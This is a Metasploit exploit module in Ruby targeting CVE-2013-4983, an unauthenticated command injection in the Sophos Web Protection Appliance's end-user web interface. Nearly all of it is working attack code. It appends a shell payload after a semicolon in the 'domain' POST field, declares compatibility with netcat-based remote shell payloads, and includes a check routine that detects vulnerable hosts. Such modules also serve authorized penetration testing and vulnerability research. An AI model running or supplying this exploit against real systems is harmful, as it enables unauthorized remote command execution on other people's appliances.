require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Sophos Web Protection Appliance sblistpack Arbitrary Command Execution',
'Description' => %q{
This module exploits a command injection vulnerability on Sophos Web Protection Appliance
3.7.9, 3.8.0 and 3.8.1. The vulnerability exists on the sblistpack component, reachable
from the web interface without authentication. This module has been tested successfully
on Sophos Virtual Web Appliance 3.7.0.
},
'Author' =>
[
'Francisco Falcon',
'juan vazquez'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-4983' ],
[ 'OSVDB', '97029' ],
[ 'BID', '62263'],
[ 'EDB', '28175'],
[ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities']
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'BadChars' => "\x27\x22\x5c",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat-e'
}
},
'Targets' =>
[
[ 'Sophos Web Protection Appliance 3.7.0', { }]
],
'DefaultOptions' =>
{
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 06 2013'
))
register_options(
[
Opt::RPORT(443)
],
self.class
)
end
def check
url = "http://www.#{rand_text_alpha(10 + rand(10))}.com"
domain = "http://#{rand_text_alpha(10 + rand(10))}.com"
res = send_exploit_query(url, domain)
if res and res.code == 302 and res.headers.include?('Location') and res.headers['Location'] =~ /
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def exploit
print_status("#{rhost}:#{rport} - Executing payload...")
url = "http://www.#{rand_text_alpha(10 + rand(10))}.com"
domain = "http://#{rand_text_alpha(10 + rand(10))}.com;#{payload.raw}"
send_exploit_query(url, domain, 0.01)
end
def send_exploit_query(url, domain, timeout = 20)
user = rand_text_alpha(8 + rand(5))
res = send_request_cgi({
'uri' => normalize_uri('end-user', 'index.php'),
'method' => 'POST',
'vars_get' => {
'c' =>'blocked',
'action' => 'continue'
},
'vars_post' => {
'url' => "#{Rex::Text.encode_base64(url)}",
'args_reason' => rand_text_alpha(15 + rand(5)),
'filetype' => rand_text_alpha(15 + rand(5)),
'user' => user,
'user_encoded' => "#{Rex::Text.encode_base64(user)}",
'domain' => domain,
'raw_category_id' => "#{rand_text_alpha(4 + rand(8))}|#{rand_text_alpha(4 + rand(8))}"
}
}, timeout)
return res
end
end
